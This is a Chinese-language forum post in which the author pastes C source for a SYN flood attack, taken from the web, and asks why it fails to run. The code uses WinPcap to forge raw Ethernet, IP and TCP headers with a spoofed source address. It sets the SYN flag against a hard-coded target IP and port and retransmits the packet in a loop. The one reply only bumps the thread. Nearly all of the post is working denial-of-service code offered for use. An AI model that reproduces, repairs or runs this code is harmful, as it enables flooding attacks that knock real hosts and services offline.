关于SYN攻击问题
#include <iostream.h>
#include <stdlib.h>
#include <stdio.h>
#include <basetsd.h>
#include <pcap.h>
#include <bittypes.h>
#include <pcap-bpf.h>
#include <ip6_misc.h>
#include <pcap-stdinc.h>
#include <win32-extensions.h>
#pragma comment(lib,"wpcap")
#pragma comment(lib,"ws2_32")
#define MYIP "172.19.8.110" //伪造的源主机IP地址
#define TAGIP "172.19.8.100" //被攻击主机IP地址
#define TAGPORT "1000" //攻击端口
#define SEQ 0x12121212
/*定义结构体*/
//以太帧头结构体
typedef struct {
UCHAR DestMac[6]; //目的mac地址
UCHAR SrcMac[6]; //源mac地址
UCHAR Etype[2]; //协议类型
}ETH_HEADER;
//定义IP首部
typedef struct {
UCHAR h_verlen; //4位首部长度,4位IP版本号
UCHAR tos; //8位服务类型TOS
USHORT total_len; //16位总长度(字节)
USHORT ident; //16位标识
USHORT frag_and_flags; //3位标志位
UCHAR ttl; //8位生存时间 TTL
UCHAR proto; //8位协议 (TCP, UDP 或其他)
USHORT checksum; //16位IP首部校验和
UINT sourceIP; //32位源IP地址
UINT destIP; //32位目的IP地址
}IP_HEADER;
//定义TCP伪首部 注意:TCP与UDP有相同的伪头部结构
typedef struct _psdhdr{
ULONG saddr; //源地址
ULONG daddr; //目的地址
CHAR mbz;
CHAR ptcl; //协议类型
USHORT tcpl; //TCP长度
}PSD_HEADER;
//定义TCP首部
typedef struct _tcphdr{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
UINT th_seq; //32位序列号
UINT th_ack; //32位确认号
UCHAR th_lenres; //4位首部长度/6位保留字
UCHAR th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
/*全局变量声明*/
pcap_t* fp;
//bool syn=true;
ETH_HEADER eth_header;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
UINT tempIp,tempHost;
UCHAR SendBuf[128]={0},tmpBuf[128]={0};
int seq=0;
int ipsz,tcpsz,psdsz,ethsz,itsz,sendsz,ptsz;
USHORT datasize=0;
/* 函数声明 */
//void initAdapt(); //初始化适配器
//void sendSyn(); //发送TCP数据包
void initEth(); //初始化以太帧头
void initIp(); //初始化IP头
void initTcp(); //初始化TCP头
void initPsd(); //初始化TCP伪头
void initHead();
USHORT checksum(USHORT *buffer, int size); //计算校验和
void main(int argc,char **argv) {
pcap_t *outdesc;
char error[PCAP_ERRBUF_SIZE]={0};
//FILE *capfile;
int caplen,sync;
u_int res;
pcap_send_queue *squeue;
struct pcap_pkthdr *pktheader;
u_char *pktdata;
pcap_if_t *alldevs,*d;
int i,count=0;
/*检查命令行是否有效*/
if(argc<=1 || argc>=4) {
printf("usage: %s number_send s",argv[0]);
return;
}
initHead();
/*设置时间戳
if(argc==3 && argv[2][0]=='s')
sync=TRUE;
else
sync=FALSE;*/
/*取得系统中所有可用pcap_open_live()打开的网络设备的列表*/
if(pcap_findalldevs(&alldevs,error)==-1) {
fprintf(stderr,"Error in pcap_findalldevs:%s\n",error);
return;
}
for(d=alldevs,i=0;i<0;d=d->next,i++);
/*打开发送数据包的适配器*/
if((outdesc=pcap_open_live(d->name,65535,1,1000,error))==NULL) {
fprintf(stderr,"\nError opening adapter:%s\n",error);
return;
}
/*将构造好的数据报放到pktdata数组中,并构造struct pcap_pkthdr结构体*/
pktheader=(struct pcap_pkthdr*)malloc(sizeof(struct pcap_pkthdr));
pktdata=(u_char*)malloc(52);
pktheader->caplen=52;
pktheader->len=52;
pktheader->ts.tv_sec=100;
pktheader->ts.tv_usec=1000;
memcpy(tmpBuf,&psd_header,psdsz);
memcpy(tmpBuf+psdsz,&tcp_header,tcpsz);
tcp_header.th_sum=checksum((USHORT *)tmpBuf,ptsz);
memset(tmpBuf,0,ptsz);
memcpy(tmpBuf,&ip_header,ipsz);
ip_header.checksum=checksum((USHORT *)tmpBuf,ipsz);
memcpy(tmpBuf,&ip_header,ipsz);
memcpy(tmpBuf+ipsz,&tcp_header,tcpsz);
memcpy(pktdata,ð_header,ethsz);
memcpy(pktdata+ethsz,tmpBuf,itsz);
caplen=512;
/*将构造好的数据报放到发送队列中*/
squeue = pcap_sendqueue_alloc(caplen);
if(pcap_sendqueue_queue(squeue,pktheader,pktdata)==-1) {
printf("Waring: packet buffer too small,not all the packet will be sent.\n");
}
//发送数据
while(count<atoi(argv[1])) {
count++;
res=pcap_sendqueue_transmit(outdesc,squeue,sync);
if(res<squeue->len) {
printf("An error occurred sending the packet:%s.Only %d bytes were sent\n",error,res);
}
else printf("%d packet send succussfully!\n",count);
}//
//释放存放数据包数组的内存
pcap_sendqueue_destroy(squeue);
free(pktheader);
//printf("test\n");
return;
}
//计算校验和
inline USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//对数据报个头部进行初始化
void initHead()
{
initEth();
initIp();
initTcp();
initPsd();
ipsz=sizeof(ip_header);
tcpsz=sizeof(tcp_header);
ethsz=sizeof(eth_header);
psdsz=sizeof(psd_header);
ptsz=psdsz+tcpsz;
itsz=ipsz+tcpsz;
sendsz=itsz+ethsz;
}
//初始化以太帧头部
void initEth()
{
UCHAR sMac[6]={0x00,0x00,0x00,0x00,0x00,0x00}, //源MAC地址
dMac[6]={0x00,0x0b,0x2f,0x25,0xde,0xe6}; //172.19.8.100
memcpy(eth_header.DestMac,dMac,6);
eth_header.Etype[0]=0x08;
eth_header.Etype[1]=0x00;
};
//初始化IP头部
void initIp()
{
tempIp=inet_addr(MYIP);
tempHost=ntohl(tempIp);
ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(ULONG));
ip_header.total_len=htons(sizeof(ip_header)+sizeof(tcp_header));
ip_header.ident=1;
ip_header.frag_and_flags=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.checksum=0;
ip_header.sourceIP=htonl(tempHost);
ip_header.destIP=inet_addr(TAGIP);
};
//初始化TCP头部
void initTcp()
{
tcp_header.th_sport=htons(6666); //源端口
tcp_header.th_dport=htons(atoi(TAGPORT)); //目的端口
tcp_header.th_seq=htonl(SEQ);
tcp_header.th_ack=0;
tcp_header.th_lenres=(sizeof(tcp_header)/4<<4|0);
tcp_header.th_flag=2;
tcp_header.th_urp=0;
tcp_header.th_sum=0;
tcp_header.th_win=htons(16384);
};
//初始化TCP伪头部
void initPsd()
{
psd_header.saddr=ip_header.sourceIP;
psd_header.daddr=ip_header.destIP;
psd_header.mbz=0; //取零
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcp_header));
};
上面上在网上找的一个SYN 攻击的代码, 我在自己机子上调的时候发现问题如下:
1./*检查命令行是否有效*/因为我运行的时候发现这个argc为1,所以到那里就不运行了.
2.在发送数据中,那个argv数组,它只有argv[0],而这个argv[0]是所生成的.EXE的位置,也运行不下去了,后来我取消while 循环,只让它运行一次,发现这个res返回值为0,还是运行不成功.
麻烦各位解决一下
[解决办法]
帮顶起!!!!